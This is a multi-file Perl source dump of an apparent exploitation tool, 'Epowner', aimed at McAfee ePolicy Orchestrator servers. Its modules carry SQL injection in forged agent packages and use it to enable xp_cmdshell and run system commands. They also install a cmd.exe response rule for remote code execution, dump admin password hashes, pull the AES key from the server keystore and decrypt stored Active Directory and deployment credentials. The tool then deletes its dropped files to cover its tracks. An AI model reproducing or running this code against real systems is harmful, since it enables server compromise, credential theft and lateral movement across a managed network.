103 | # build data
104 | print " [+] Generating data structures\n" if $this->{verbose};
105 |
106 | $this->build_struct_event_header1();
107 | $this->build_struct_event_header2();
108 | $this->build_struct_event_event($event_hostname, $event_dest_filename, $event_xml_content);
109 |
110 |
111 | # Compressing FULL Properties XML
112 | #====================================================================
113 | print " [+] Compressing Event XML\n" if $this->{verbose};
114 | my $data_compressed = compress_deflate($this->{event_xml});
115 |
116 |
117 | # Updating various fields in binary_header1
118 | #====================================================================
119 | print " [+] Updating various fields in binary_header1\n" if $this->{verbose};
120 |
121 | # Update HEADER_LEN in "binary_header1" (little-endian)
122 | my $final_header_len = pack("V", length($this->{binary_header1}) + length($this->{binary_header2}));
123 | $this->{binary_header1} =~ s/WWWW/$final_header_len/;
124 |
125 | # Update DATA_LEN in "binary_header1" (little-endian)
126 | my $final_data_len = pack("V", length($data_compressed));
127 | $this->{binary_header1} =~ s/ZZZZ/$final_data_len/;
128 |
129 |
130 | # XORing binary_header1
131 | #====================================================================
132 | print " [+] XORing binary_header1\n" if $this->{verbose};
133 | # XOR post_binary_header1 (because it's fun ?)
134 | my $binary_header1_xored = xor_str($this->{binary_header1}, 0xaa);
135 |
136 |
137 |
138 | # Generating DSA Signature
139 | #====================================================================
140 | print " [+] Generating DSA Signature\n" if $this->{verbose};
141 | my $signature = dsa_sign(
142 | $this->{binary_header1} . $this->{binary_header2} . $data_compressed , # to sign
143 | $this->{dsa_agent} # dsa object
144 | );
145 |
146 |
147 |
148 | # Building final HTTP POST request
149 | #====================================================================
150 | print " [+] Building final HTTP POST request\n" if $this->{verbose};
151 | # Final binary package
152 | my $post_data=
153 | $binary_header1_xored .
154 | $this->{binary_header2} .
155 | $data_compressed .
156 | $signature;
157 |
158 | return $post_data;
159 |
160 | # Final HTTP request
161 | # my $http_req =
162 | # "POST /spipe/pkg?AgentGuid=" .$this->{agent_guid} . "&Source=Agent_3.0.0 HTTP/1.1\r\n" .
163 | # "User-Agent: Mozilla/4.0 (compatible; SPIPE/3.0; Windows)\r\n" .
164 | # "Accept: application/octet-stream\r\n" .
165 | # "Accept-Language: en-us\r\n" .
166 | # "Host: " . $this->{server_host} . "\r\n" .
167 | # "Content-Type: application/octet-stream\r\n" .
168 | # "Content-Length: " . length($binary_struct) . "\r\n" .
169 | # "\r\n" .
170 | # $binary_struct;
171 | #
172 | # return $http_req;
173 | }
174 |
175 |
176 |
177 | 1;
178 |
--------------------------------------------------------------------------------
/Epowner/ModeDomainPasswd.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | #use MIME::Base64;
4 | #use Digest::SHA qw(sha1);
5 | #use URI::Escape;
6 |
7 | use strict;
8 | use warnings;
9 |
10 |
11 |
12 | sub mode_domain_credentials {
13 |
14 | my $this = shift;
15 |
16 |
17 | # Do we have privileged code execution ?
18 | if(not $this->have_srv_exec_priv()){
19 | $this->print_err("[-] ERROR (mode_domain_credentials): You don't have sufficient RCE privileges to perform this action\n");
20 | exit;
21 | }
22 |
23 |
24 | # do we already know the installation path of ePo ?
25 | if(not $this->{force} and not length($this->{server_db_folder}) ne 0){
26 | $this->print_warn ("[-] WARNING: epo installation path is unknown. We know the default value but suggest you to\n");
27 | $this->print_warn (" confirm it first using '--get-install-path'\n");
28 | $this->print_warn (" You may also use '--force' to bypass this warning\n");
29 | exit;
30 | }
31 |
32 |
33 | # GET SyncDir entries from DB
34 | #=============================
35 | $this->print_info("\n[*] Getting Encrypted SyncDir credentials\n");
36 | my @syncdir = $this->mode_readdb_get_syncdir();
37 | if(@syncdir == 0){
38 | $this->print_warn ("[-] No SynDir passwords found in the database\n");
39 | }
40 |
41 | # GET DeployAgent saved passwors
42 | #===============================
43 | $this->print_info("\n[*] Getting Encrypted DeployAgents credentials\n");
44 | my @deployagent = $this->mode_readdb_get_deployagent_creds();
45 | if(@deployagent == 0){
46 | $this->print_warn( "[-] No saved Deployment-Agents passwords found in the database\n");
47 | }
48 |
49 |
50 | if(@syncdir == 0 and @deployagent == 0 ){
51 |
52 | return;
53 | }
54 |
55 | # GET AES Key from keystore
56 | #============================
57 | $this->print_info("\n[*] Getting AES-128 Key from orion.keystore\n");
58 | $this->mode_gatherinfo_aes_key_from_orion_keystore();
59 | my $aes_key = pack("H*", $this->{aes_symkey_keystore});
60 |
61 |
62 | # Decrypt SyncDir entries
63 | #========================
64 | if(@syncdir != 0){
65 | $this->print_info("\n[*] Decrypting Active Directory Sync password(s)\n");
66 | foreach my $sync (@syncdir){
67 | my ($host, $dom, $user, $pass_enc) = split(/\|/, $sync);
68 | my $pass = $this->aes_ecb_decrypt(decode_base64($pass_enc), $aes_key);
69 | $this->print_data( " **** Active Directory Sync Pass ****\n");
70 | $this->print_data( " Domain : $dom\n");
71 | $this->print_data( " Username : $user\n");
72 | $this->print_data( " Password : $pass\n");
73 | }
74 | }
75 |
76 | # Decrypt DeployAgents entries
77 | #============================
78 | if(@deployagent != 0){
79 |
80 | $this->print_info("\n[*] Decrypting Deployment-Agent saved password(s)\n");
81 | foreach my $entry (@deployagent){
82 | my ($user, $pass_enc, $dom) = split(/\|/, $entry);
83 | my $pass = $this->aes_ecb_decrypt(decode_base64($pass_enc), $aes_key);
84 | $this->print_data( " **** Deployment Agents Pass ****\n");
85 | $this->print_data( " Domain : $dom\n");
86 | $this->print_data( " Username : $user\n");
87 | $this->print_data( " Password : $pass\n");
88 | }
89 | }
90 |
91 | return 1;
92 |
93 | }
94 | 1;
95 |
--------------------------------------------------------------------------------
/Epowner/ModeGatherInfo.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use Switch;
4 | use strict;
5 | use warnings;
6 |
7 | # git-issue-1
8 | IO::Socket::SSL::set_ctx_defaults(SSL_verify_mode => SSL_VERIFY_NONE);
9 | $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME} = 0;
10 |
11 |
12 | sub mode_gatherinfo_aes_key_from_orion_keystore {
13 |
14 | my $this = shift;
15 |
16 |
17 | # Do we have privileged code execution ?
18 | if(not $this->have_srv_exec_priv()){
19 | $this->print_err("[-] ERROR (mode_gatherinfo_aes_key_from_orion_keystore): You don't have sufficient RCE privileges to perform this action\n");
20 | exit;
21 | }
22 |
23 |
24 | #===================
25 | # GET AES Key
26 | #===================
27 |
28 | # generate random filename for storing Java output
29 | my $out_rnd_file = '.txt';
30 | my @chars=('0'..'9', 'a'..'z', 'A'..'Z');
31 | foreach (1..4) { $out_rnd_file = $chars[rand @chars] . $out_rnd_file ; }
32 |
33 | # keystore location on server
34 | my $folder = $this->{server_tomcat_folder} || $this->{server_tomcat_folder_default};
35 | my $keystore_path = $folder . "/keystore/orion.keystore";
36 |
37 | # Java location on server
38 | $folder = $this->{server_install_folder} || $this->{server_install_folder_default} ;
39 | my $java_path = $folder . "/JRE/bin/java.exe";
40 |
41 | # Dumpkey class file
42 | my $dumpkey_class = fileparse($this->{tool_dumpkey});
43 |
44 | # Class path = DBFolder
45 | my $classpath = $this->{server_db_folder} || $this->{server_db_folder_default} ;
46 |
47 | # where to store AES key ?
48 | my $outfile_path = $classpath . "/Software/" . $out_rnd_file;
49 |
50 |
51 | # Upload DumpKey.call under DBFolder
52 | #======================================
53 | $this->mode_server_upload_from_file( $this->{tool_dumpkey}, # source filename
54 | $dumpkey_class # dest filename
55 | );
56 |
57 |
58 | # Open keystore and extract AES symKey. Save the key in $out_rnd_file
59 | #=====================================================================
60 | $dumpkey_class =~ s/\.class$//g;
61 | $this->mode_server_exec_send(
62 | "\"$java_path -classpath $classpath $dumpkey_class $keystore_path $outfile_path\""
63 | );
64 |
65 |
66 | # Download the random filename back (the AES Key)
67 | my $server_host = $this->{server_host};
68 | my $server_port = $this->{server_port};
69 | my $uri = "https://$server_host:$server_port/Software/$out_rnd_file";
70 | my $aes_key = $this->http_poll_uri_get($uri);
71 | if( $aes_key eq 0){
72 | print "ERROR: Can't download AES Key \n";
73 | return 0;
74 | }
75 |
76 | my $db_folder = $this->{server_db_folder} || $this->{server_db_folder_default};
77 | # delete temp file created on server
78 | $this->mode_server_exec_send(
79 | "del /F ${db_folder}\\Software\\${out_rnd_file} & " .
80 | "del /F ${db_folder}\\RepoCache\\${out_rnd_file} & " .
81 | "del /F ${db_folder}\\${dumpkey_class}.class "
82 | );
83 |
84 |
85 | print "[*] AES-128 symKey extracted from ePo Keystore (saving): ";
86 | $this->print_info_l2(unpack("H*", $aes_key));
87 | print "\n";
88 |
89 | $this->{aes_symkey_keystore} = unpack("H*", $aes_key);
90 |
91 | return 1;
92 |
93 | }
94 |
95 | sub mode_gatherinfo_installation_path {
96 |
97 | my $this = shift;
98 |
99 | # Do we have privileged code execution ?
100 | if(not $this->have_srv_exec_priv()){
101 | $this->print_err("[-] ERROR (mode_gatherinfo_installation_path): You don't have sufficient RCE privileges to perform this action\n");
102 | exit;
103 | }
104 |
105 |
106 | $this->print_info_l1("[*] Call to ModeGatherInfo\n");
107 | $this->print_info_l2(" Parameters: ");
108 | print "Retrieve DBFolder installation path\n";
109 |
110 |
111 | my $db_folder = '';
112 | my $all_folders = '';
113 |
114 | my $server_host = $this->{server_host};
115 | my $server_port = $this->{server_port};
116 |
117 | my $get_request = HTTP::Request->new;
118 | $get_request->method('GET');
119 |
120 | my $user_agent = LWP::UserAgent->new (ssl_opts => { verify_hostname => 0, SSL_verify_mode => SSL_VERIFY_NONE });
121 |
122 | # generate randown filename
123 | my @chars=('0'..'9', 'a'..'z', 'A'..'Z');
124 | my $rnd_file = '.txt';
125 | foreach (1..4) { $rnd_file = $chars[rand @chars] . $rnd_file ; }
126 |
127 |
128 | #==================================================================
129 | # Get 'DBFolder' from registry and write it under /Software/
130 | #==================================================================
131 | $this->mode_server_exec_send(
132 | "\"for /f \"usebackq tokens=3\" %G in (`reg query \"HKLM\\Software\\network associates\\epolicy Orchestrator\" /v \"DBFolder\" 2^>NUL ^| findstr DBFolder`) do (echo %G > %G/Software/$rnd_file)\""
133 | # "\"for /f \"usebackq tokens=3\" %G in (`reg query \"HKLM\\Software\\Wow6432Node\\network associates\\epolicy Orchestrator\" /v \"DBFolder\" 2^>NUL ^| findstr DBFolder`) do (echo %G > %G/Software/$rnd_file)\""
134 | );
135 |
136 |
137 | # Download the random filename
138 | my $uri = "https://$server_host:$server_port/Software/$rnd_file";
139 | $db_folder = $this->http_poll_uri_get($uri);
140 | if(not $db_folder){
141 | $this->print_err ("[-] ERROR (mode_gatherinfo_installation_path): can't get DBFolder entry from registry \n");
142 | exit;
143 | }
144 |
145 |
146 |
147 | # check if we found DB in the path
148 | if($db_folder !~ /DB/){
149 | print "[-] ERROR (mode_gatherinfo_installation_path): db_folder looks invalid '$db_folder'\n";
150 | return 0;
151 | }
152 |
153 | # remove carriage return/newline/ending space
154 | $db_folder =~ s/\r\n//g;
155 | $db_folder =~ s/^\s+//g;
156 | $db_folder =~ s/\s+$//g;
157 | $db_folder =~ s/\//\\/g;
158 |
159 | # save it
160 | $this->{server_db_folder} = $db_folder;
161 |
162 |
163 |
164 | #================================================================================
165 | # Get the others '*Folder' from registry , and save them under DBFolder\Software\
166 | #================================================================================
167 |
168 | # Make a new random file
169 | my $rnd_file2 = '.txt';
170 | foreach (1..4) { $rnd_file2 = $chars[rand @chars] . $rnd_file2 ; }
171 |
172 | $this->mode_server_exec_send(
173 | "\"for /f \"usebackq tokens=1,3\" %G in (`reg query \"HKLM\\Software\\network associates\\epolicy Orchestrator\" 2^>NUL ^| findstr Folder`) do (echo %G---%H >> $db_folder\\Software\\$rnd_file2)\""
174 | );
175 |
176 |
177 | # Download the random filename
178 | $uri = "https://$server_host:$server_port/Software/$rnd_file2";
179 | $all_folders = $this->http_poll_uri_get($uri);
180 | if(not $all_folders){
181 | $this->print_err ("[-] ERROR (mode_gatherinfo_installation_path): can't get *Folder entries from registry \n");
182 | exit;
183 | }
184 |
185 |
186 |
187 | # convert '/' into '\', remove spaces, newlines, etc ..
188 | # however, this works : "DEL C:\PROGRA~1\McAfee\EPOLIC~1\DB\FILE.txt"
189 | $all_folders =~ s/\r\n/@@/g;
190 | $all_folders =~ s/\s+//g;
191 | $all_folders =~ s/\//\\/g;
192 |
193 |
194 | # $all_folders looks like:
195 | # InstallFolder---C:\PROGRA~1\McAfee\EPOLIC~1@@TomcatFolder---C:\PROGRA~1\McAfee\EPOLIC~1\Server@@ApacheFolder---C:\PROGRA~1\McAfee\EPOLIC~1\Apache2 ...
196 |
197 | my @folders = split(/@@/, $all_folders);
198 | foreach my $f (@folders){
199 | my ($key, $val) = split(/---/, $f);
200 | #print "key: '$key' , val: '$val'\n";
201 | # Save them
202 | switch($key) {
203 | case "InstallFolder" { $this->{server_install_folder} = $val; }
204 | case "TomcatFolder" { $this->{server_tomcat_folder} = $val; }
205 | case "ApacheFolder" { $this->{server_apache_folder} = $val; }
206 | }
207 | }
208 |
209 |
210 | # delete temp file created on server
211 | $this->mode_server_exec_send(
212 | "del /F $db_folder\\Software\\$rnd_file & " .
213 | "del /F $db_folder\\Software\\$rnd_file2 & " .
214 | "del /F $db_folder\\RepoCache\\$rnd_file & " .
215 | "del /F $db_folder\\RepoCache\\$rnd_file2 "
216 | );
217 |
218 |
219 |
220 | print "[*] Retrieved folders (saving..): \n";
221 | print " InstallFolder: $this->{server_install_folder}\n";
222 | print " DBFolder: $this->{server_db_folder}\n";
223 | print " TomcatFolder: $this->{server_tomcat_folder}\n";
224 | print " ApacheFolder: $this->{server_apache_folder}\n";
225 |
226 |
227 | }
228 | 1;
229 |
--------------------------------------------------------------------------------
/Epowner/ModeReadDB.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use Text::SimpleTable;
4 |
5 | use strict;
6 | use warnings;
7 |
8 |
9 | sub mode_readdb_get_servername{
10 |
11 | my $this = shift;
12 |
13 | $this->mode_readdb_banner();
14 | $this->print_info_l2(" Parameters: ");
15 | print "Retrieving server hostname \n";
16 |
17 | #prepare SQL Injection
18 | my $sqli = $this->sql_prepare_select(
19 | "select ComputerName from dbo.EPOServerInfo;"
20 | );
21 |
22 | # Go
23 | my @results = $this->sql_execute($sqli);
24 |
25 | if(@results ne 0){
26 | print " [+] ServerName: " . $results[0] . "\n" if $this->{verbose};
27 | $this->{server_servername} = $results[0];
28 | }
29 | }
30 |
31 |
32 |
33 | sub mode_readdb_get_mssql_whoami{
34 |
35 | my $this = shift;
36 |
37 | #prepare SQL Injection
38 | my $sqli = $this->sql_prepare_select(
39 | " exec master.dbo.xp_cmdshell 'whoami';"
40 | );
41 |
42 | # Go
43 | my @results = $this->sql_execute($sqli);
44 |
45 | if(@results ne 0){
46 | print " [+] Who Am I ? : " . $results[0] . "\n" if $this->{verbose};
47 | $this->{server_mssql_whoami} = $results[0];
48 | return 1;
49 | }
50 | return 0;
51 | }
52 |
53 |
54 | sub mode_readdb_get_mssql_runas_priv{
55 |
56 | my $this = shift;
57 |
58 | #prepare SQL Injection
59 | my $sqli = $this->sql_prepare_select(
60 | " exec master.dbo.xp_cmdshell 'reg query \"HKU\\S-1-5-19\"';"
61 | );
62 |
63 | # Go
64 | my @results = $this->sql_execute($sqli);
65 |
66 | if(@results ne 0){
67 | print " [+] req query returned : " . $results[0] . "\n" if $this->{verbose};
68 | # $this->{server_mssql_whoami} = $results[0];
69 | if($results[0] =~ /Access is denied/){
70 | return 0;
71 | }else{
72 | return 1;
73 | }
74 | }
75 | return 0;
76 | }
77 |
78 |
79 |
80 | sub mode_readdb_print_agents{
81 |
82 | my $this = shift;
83 |
84 | # get agents
85 | my @results = $this->mode_readdb_get_agents();
86 |
87 | if(@results ne 0){
88 | $this->print_ok ("[*] Got data !\n");
89 |
90 | my $t = Text::SimpleTable->new( [15, 'HostName'],
91 | [30, 'FQDN'],
92 | [50, 'OS'],
93 | [15, 'Username'],
94 | [15, 'IP addr'],
95 | [14, 'Last seen']
96 | );
97 |
98 | foreach my $res (@results){
99 | my ($ParentId, $ComputerName, $Hostname, $OSType, $OSPlatform , $OSVersion, $OSServicePackVer, $UserName , $IPv4, $LastSeen) = split(/\|/,$res);
100 | my $OS = $OSType . " ". $OSPlatform . " " . $OSVersion . " " . $OSServicePackVer;
101 | $t->row( $ComputerName || "N/A",
102 | $Hostname || "N/A",
103 | $OS || "N/A",
104 | $UserName || "N/A" ,
105 | $IPv4 || "N/A",
106 | $LastSeen || "N/A"
107 | );
108 | }
109 | $this->print_data ($t->draw());
110 | }else{
111 | $this->print_err ("[-] No data were found..\n");
112 | }
113 |
114 | return 1;
115 |
116 |
117 |
118 | }
119 |
120 | sub mode_readdb_get_syncdir {
121 |
122 | my $this = shift;
123 |
124 | $this->mode_readdb_banner();
125 | $this->print_info_l2(" Parameters: ");
126 | print "Retrieving Active Directory Sync credentials\n";
127 |
128 | #prepare SQL Injection
129 | my $sqli = $this->sql_prepare_select(
130 | "select server + '|' + authServer + '|' + authUser + '|' + authPassword from dbo.EPOSyncDir ;"
131 | );
132 |
133 | # Go
134 | my @results = $this->sql_execute($sqli);
135 | return (@results);
136 | }
137 |
138 |
139 | sub mode_readdb_get_deployagent_creds {
140 |
141 | my $this = shift;
142 |
143 | $this->mode_readdb_banner();
144 | $this->print_info_l2(" Parameters: ");
145 | print "Retrieving Deployment-Agents saved credentials\n";
146 |
147 | #prepare SQL Injection
148 | my $sqli = $this->sql_prepare_select(
149 | # Thanks to Alaeddine Mesbahi for this SQL statement
150 | "select Value + '|' + " .
151 | "(select Value from OrionPersonalPreferences t2 where t1.UserId=t2.UserId and t2.Name='computermgmt.deployagent.credentials.pwd') + '|' + " .
152 | "(select Value from OrionPersonalPreferences t3 where t1.UserId=t3.UserId and t3.Name='computermgmt.deployagent.credentials.domain') " .
153 | "from OrionPersonalPreferences as t1 where Name = 'computermgmt.deployagent.credentials.name' ;"
154 | );
155 |
156 | # Go
157 | my @results = $this->sql_execute($sqli);
158 | return (@results);
159 | }
160 |
161 |
162 |
163 | sub mode_readdb_get_agents {
164 |
165 | my $this = shift;
166 |
167 | $this->print_info("\n[*] Getting Agent list\n");
168 | $this->mode_readdb_banner();
169 | $this->print_info_l2(" Parameters: ");
170 | print "Retrieving Agent list\n";
171 |
172 | #prepare SQL Injection
173 | my $sqli = $this->sql_prepare_select(
174 | "select cast(prop.ParentId as varchar(11)) + '|' + prop.ComputerName + '|' + prop.IPHostname + '|' + prop.OSType + '|' + prop.OSPlatform + '|' " .
175 | "+ prop.OSVersion + '|' + prop.OSServicePackVer + '|' + prop.UserName + '|' + prop.IPAddress + '|' " .
176 | "+ LEFT(DATENAME(MM, leaf.LastUpdate),3) + ' ' + RIGHT('0'+DATENAME(DD, leaf.LastUpdate),2) + ' ' + SUBSTRING(CONVERT(varchar,leaf.LastUpdate,0),13,7) " .
177 | "from dbo.EPOComputerProperties as prop, EPOLeafNode as leaf where prop.ParentID = leaf.AutoID and leaf.Managed = 1;"
178 |
179 |
180 | # "select cast(ParentId as varchar(11)) + '|' + ComputerName + '|' + IPHostname + '|' + OSType + '|' + OSPlatform + '|' + OSVersion " .
181 | # "+ '|' + OSServicePackVer + '|' + UserName + '|' + IPAddress from dbo.EPOComputerProperties;"
182 | );
183 |
184 | # Go
185 | my @results = $this->sql_execute($sqli);
186 | return (@results);
187 | }
188 |
189 |
190 | sub mode_readdb_print_users{
191 |
192 | my $this = shift;
193 |
194 | $this->print_info("\n[*] Getting accounts information\n");
195 | $this->mode_readdb_banner();
196 | $this->print_info_l2(" Parameters: ");
197 | print "Retrieving user hashes\n";
198 |
199 | #prepare SQL Injection
200 | my $sqli = $this->sql_prepare_select(
201 | "select Name + '|' + AuthURI from dbo.OrionUsers;"
202 | );
203 |
204 | # Go
205 | my @results = $this->sql_execute($sqli);
206 |
207 | if(@results ne 0){
208 | $this->print_ok ("[*] Got data !\n");
209 |
210 | my $t = Text::SimpleTable->new( [25, 'Username'],
211 | [60, 'AuthURI'],
212 | );
213 |
214 | foreach my $res (@results){
215 | my ($user, $hash) = split(/\|/,$res);
216 | $t->row($user, $hash);
217 | }
218 | $this->print_data ($t->draw());
219 | print "Hash format is 'uri_escape(base64(SHA1()))' where is 4 bytes length.\n";
220 | }else{
221 | $this->print_err ("[-] No data were found..\n");
222 | }
223 |
224 | return 1;
225 |
226 |
227 |
228 | }
229 |
230 |
231 | sub mode_readdb_banner{
232 | my $this = shift;
233 | $this->print_info_l1("[*] Call to ModeReadDB\n");
234 | }
235 |
236 |
237 |
238 |
239 | #====================================================================
240 | # PRINT QUERY RESULT
241 | #====================================================================
242 | sub mode_readdb_manual_sql_query{
243 |
244 | my $this = shift;
245 | my $query = shift; # SQL statement
246 |
247 | # banner mode
248 | $this->mode_readdb_banner();
249 | $this->print_info_l2(" Parameters: ");
250 | print "Custom SQL query: $query\n";
251 |
252 | # get query results
253 | my $sqli = $this->sql_prepare_select($query);
254 | my @results = $this->sql_execute($sqli);
255 |
256 | if(@results ne 0){
257 | # draw result
258 | $this->print_ok ("[*] Got data !\n");
259 | my $t = Text::SimpleTable->new( [100, 'Result'] );
260 | foreach my $res (@results){
261 | $t->row($res || "N/A");
262 | }
263 | $this->print_data ($t->draw());
264 | }else{
265 | $this->print_err ("[-] No data were found..\n");
266 | }
267 |
268 | return 1;
269 | }
270 |
271 | 1;
272 |
--------------------------------------------------------------------------------
/Epowner/ModeSQL.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use Text::SimpleTable;
4 |
5 | use strict;
6 | use warnings;
7 |
8 |
9 |
10 | sub mode_sql_banner{
11 | my $this = shift;
12 | $this->print_info_l1("[*] Call to ModeSQL\n");
13 | }
14 |
15 |
16 |
17 | #====================================================================
18 | # MANUAL SQL QUERY - WITHOUT OUTPUT (ex: insert, update, delete,..)
19 | #====================================================================
20 | sub mode_sql_query_without_results{
21 |
22 | my $this = shift;
23 | my $query = shift; # SQL statement
24 |
25 | # banner mode
26 | $this->mode_sql_banner();
27 | $this->print_info_l2(" Parameters: ");
28 | print "SQL query: $query\n";
29 |
30 | # get query results
31 | my $sqli = $this->sql_prepare_non_select($query);
32 | $this->sql_execute($sqli);
33 |
34 | $this->print_ok ("[*] Done\n");
35 |
36 | return 1;
37 | }
38 |
39 |
40 |
41 | #====================================================================
42 | # MANUAL SQL QUERY - WITH OUTPUT (ex: select statements)
43 | #====================================================================
44 | sub mode_sql_query_with_results{
45 |
46 | my $this = shift;
47 | my $query = shift; # SQL statement
48 |
49 | # banner mode
50 | $this->mode_sql_banner();
51 | $this->print_info_l2(" Parameters: ");
52 | print "SQL query: $query\n";
53 |
54 | # get query results
55 | my $sqli = $this->sql_prepare_select($query);
56 | my @results = $this->sql_execute($sqli);
57 |
58 | if(@results ne 0){
59 | # draw result
60 | $this->print_ok ("[*] Got data !\n");
61 | my $t = Text::SimpleTable->new( [100, 'Result'] );
62 | foreach my $res (@results){
63 | $t->row($res || "N/A");
64 | }
65 | $this->print_data ($t->draw());
66 | }else{
67 | $this->print_err ("[-] No data were found..\n");
68 | }
69 |
70 | return 1;
71 | }
72 |
73 | 1;
74 |
--------------------------------------------------------------------------------
/Epowner/ModeServerExec.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use URI::Escape;
4 | use Term::ANSIColor;
5 |
6 | use strict;
7 | use warnings;
8 |
9 |
10 |
11 | sub mode_server_exec_notdba_setup_get_sql_statement{
12 | my $this = shift;
13 | my $cmdName = shift; # the name of the Registered EXE in DB
14 |
15 | my $guid = $this->{agent_guid};
16 | $guid =~ s/{|}//g;
17 |
18 |
19 | # Virus detected event
20 | my $eventid = 2412;
21 |
22 | my $sqli =
23 | "" .
24 | "') ; " .
25 | "INSERT INTO [dbo].[EPOAlertRegisteredExe] (Name, Path) VALUES ('$cmdName', 'C:\\WINDOWS\\system32\\cmd.exe') ; " .
26 | "INSERT INTO [dbo].[OrionResponseRule] (AggregationURI,AggregationWindowURI,ConditionURI, CreatedBy, CreatedOn,ModifiedBy,ModifiedOn,Description, Enabled, EventType,GroupingURI,ThrottlingURI, Name, ActionsURIs, Locale) VALUES (" .
27 | "''," . # AggregationURI
28 | "''," . # AggregationWindowURI
29 | "'rule:condition?conditionSexp=%28+where+%28+and+%28+eq+epoClientStatusEvent.agentGUID+%22$guid%22+%29+%28+eq+epoClientStatusEvent.tVDEventID+$eventid++%29+%29+%29&requiredFilter=%28+where+%28+descendsFrom+epoClientStatusEvent.definedAt+%222%22+%29+%29'," . # ConditionURI
30 | "'admin' ," . # CreatedBy
31 | "'2012-12-09 00:40:50.963' ," . # CreatedOn
32 | "'system'," .
33 | "'2012-12-10 16:35:47.447'," .
34 | "''," . # Description
35 | "1," . # Enabled
36 | "'epoClientStatusEvent' ," . # EventType
37 | "''," . # GroupingURI
38 | "''," . # ThrottlingURI
39 | "'$cmdName' ," . # Name
40 | "'command:alert.response.externalCmd?timeLimit=60000&cmdName=$cmdName&cmdArgs=%2Fc+{hostName}' ," . # ActionsURIs, the arg is '/c {hostName}'
41 | # {hostName} value will be received later from an Event sent by the agent
42 | "'en'); " . # Locale
43 | " -- " .
44 | "";
45 |
46 |
47 | return $sqli
48 | }
49 |
50 |
51 | sub mode_server_exec_wizard {
52 | my $this = shift;
53 |
54 | # Test if we have remote code exec on the ePo server and which mode to use.
55 |
56 |
57 | my $sec = 15;
58 | my $check_for_nondba = 0;
59 | my $add_admin = 0;
60 |
61 | # TEST XP_CMDSHELL (PING )
62 | # Goal: check if we are DBA
63 |
64 | print "\n";
65 |
66 | $this->print_info ("[*] Testing for XP_CMDSHELL availability\n");
67 | $this->print_info_l2(" (xp_cmdshell 'ping -n $sec 127.0.0.1')\n");
68 | # print colored("[*] Testing for xp_cmdshell availability using \"xp_cmdshell 'ping -n $sec 127.0.0.1'\"\n", 'cyan');
69 |
70 | my $sqli_ping = "') " .
71 | "EXEC sp_configure 'show advanced options',1 ; RECONFIGURE ; " .
72 | "EXEC sp_configure 'xp_cmdshell',1 ; RECONFIGURE ; " .
73 | "EXEC master.dbo.xp_cmdshell 'ping -n $sec 127.0.0.1'; --" ;
74 |
75 | my $http_request = $this->mode_common_generate_fullprops_request($sqli_ping);
76 |
77 | my $time_start = time();
78 | $this->send_http_request($http_request);
79 | my $time_stop = time();
80 |
81 | my $delay = $time_stop - $time_start;
82 | if($delay < ($sec - 2)){
83 | my $str = sprintf "[-] Not good... Elapsed time: %.3f seconds (expected +/- $sec)\n", $delay;
84 | $this->print_warn($str);
85 | $this->print_warn(" xp_cmdshell doesn't seems available with the current SQL privileges... \n");
86 |
87 | $this->{server_is_dba} = 0;
88 | $check_for_nondba = 1;
89 |
90 | }else{
91 |
92 | # XP_CMSHELL is available !
93 |
94 | my $str = sprintf "[+] Looks good !! Elapsed time: %.3f seconds\n", $delay;
95 | print $str;
96 |
97 | # WE ARE DBA !
98 | $this->print_ok("[+] It appears that xp_cmdshell is available with the current SQL privs\n");
99 | $this->{server_is_dba} = 1;
100 |
101 | # TESTING XP_CMDSHELL 'WHOAMI'
102 | # Goal: - Do we have SYSTEM or Network Service priv ?
103 |
104 | print "\n";
105 | $this->print_info("[*] Getting current SQL 'runas' account using \"xp_cmdshell 'whoami'\"\n");
106 |
107 | if($this->mode_readdb_get_mssql_whoami()){
108 | print "[+] Whoami returned: '" ; $this->print_info_l2($this->{server_mssql_whoami}); print "'\n";
109 | }else{
110 | $this->print_warn("[-] Whoami didn't succeed\n");
111 | }
112 |
113 | print "\n";
114 | $this->print_info("[*] Testing our privileges using 'reg query \"HKU\\S-1-5-19\"'\n");
115 | if($this->mode_readdb_get_mssql_runas_priv()){
116 | $this->print_ok("[+] OK, We have HIGH privileges by using xp_cmdshell ! :)\n");
117 | $this->{srv_exec_mode} = 1; # Use DBA mode as default
118 | $this->{srv_exec_priv} = 1;
119 |
120 | }else{
121 |
122 | $this->print_warn("[-] WARN: We have LIMITED privileges using xp_cmdshell\n");
123 | $this->print_warn(" Multiple actions/modes in this tool require high privileges .. \n");
124 | $check_for_nondba = 1;
125 | $this->{srv_exec_mode} = 1; # Use DBA mode as default. Can be overwritten later
126 | $this->{srv_exec_priv} = 0;
127 | }
128 |
129 | }
130 |
131 |
132 | if($check_for_nondba ) {
133 |
134 | # We do not have DBA priv, or it is without SYSTEM priv.
135 | # Last chance for RCE is to use non-DBA mode (automatic response rule). Requirment: Web console access
136 |
137 | print "\n";
138 | $this->print_info("[*] Trying to setup Remote Code Exec using another method (without xp_cmdshell)\n");
139 |
140 | if ($this->{state_exec_nondba_setup}){
141 |
142 | $this->print_warn("[-] WARN: According to the config file, this mode is already configured\n");
143 | $this->print_warn(" If needed, use '--srv-exec --clean-nondba' to reset it and then restart the wizard\n");
144 | return 0;
145 | }
146 |
147 | # Check if the Web console port is reachable
148 | #============================================
149 | my $loop=1;
150 | my $webconsole_available = 0;
151 | while($loop){
152 |
153 | print "[+] Please provide the web console TCP port. Press enter for default port (8443) : ";
154 | my $webconsole_port = <>; chomp($webconsole_port);
155 | if($webconsole_port ne ''){
156 | $this->{server_consoleport} = $webconsole_port;
157 | }else{
158 | $this->{server_consoleport} = 8443;
159 | }
160 |
161 | # Test SSL connectivity
162 | if ($this->check_connectivity_webconsole()){
163 | # OK
164 | print "[+] Good. Web admin console is available\n";
165 | $webconsole_available = 1;
166 | $loop = 0;
167 | }else{
168 | print "[-] Connection failure. Try again using a different port ? [Y/n] : ";
169 | my $resp = <>; chomp($resp);
170 | if($resp eq 'n' or $resp eq 'N'){
171 | $this->print_err ("[-] Sorry. Web console connectivity is required to perform Remote Command Execution without xp_cmdshell.\n");
172 | $loop = 0;
173 | }
174 |
175 | }
176 | }
177 |
178 |
179 |
180 |
181 | # OK, we have the right TCP port
182 |
183 | if($webconsole_available){
184 |
185 | my $web_admin_added=0;
186 |
187 | print "\n";
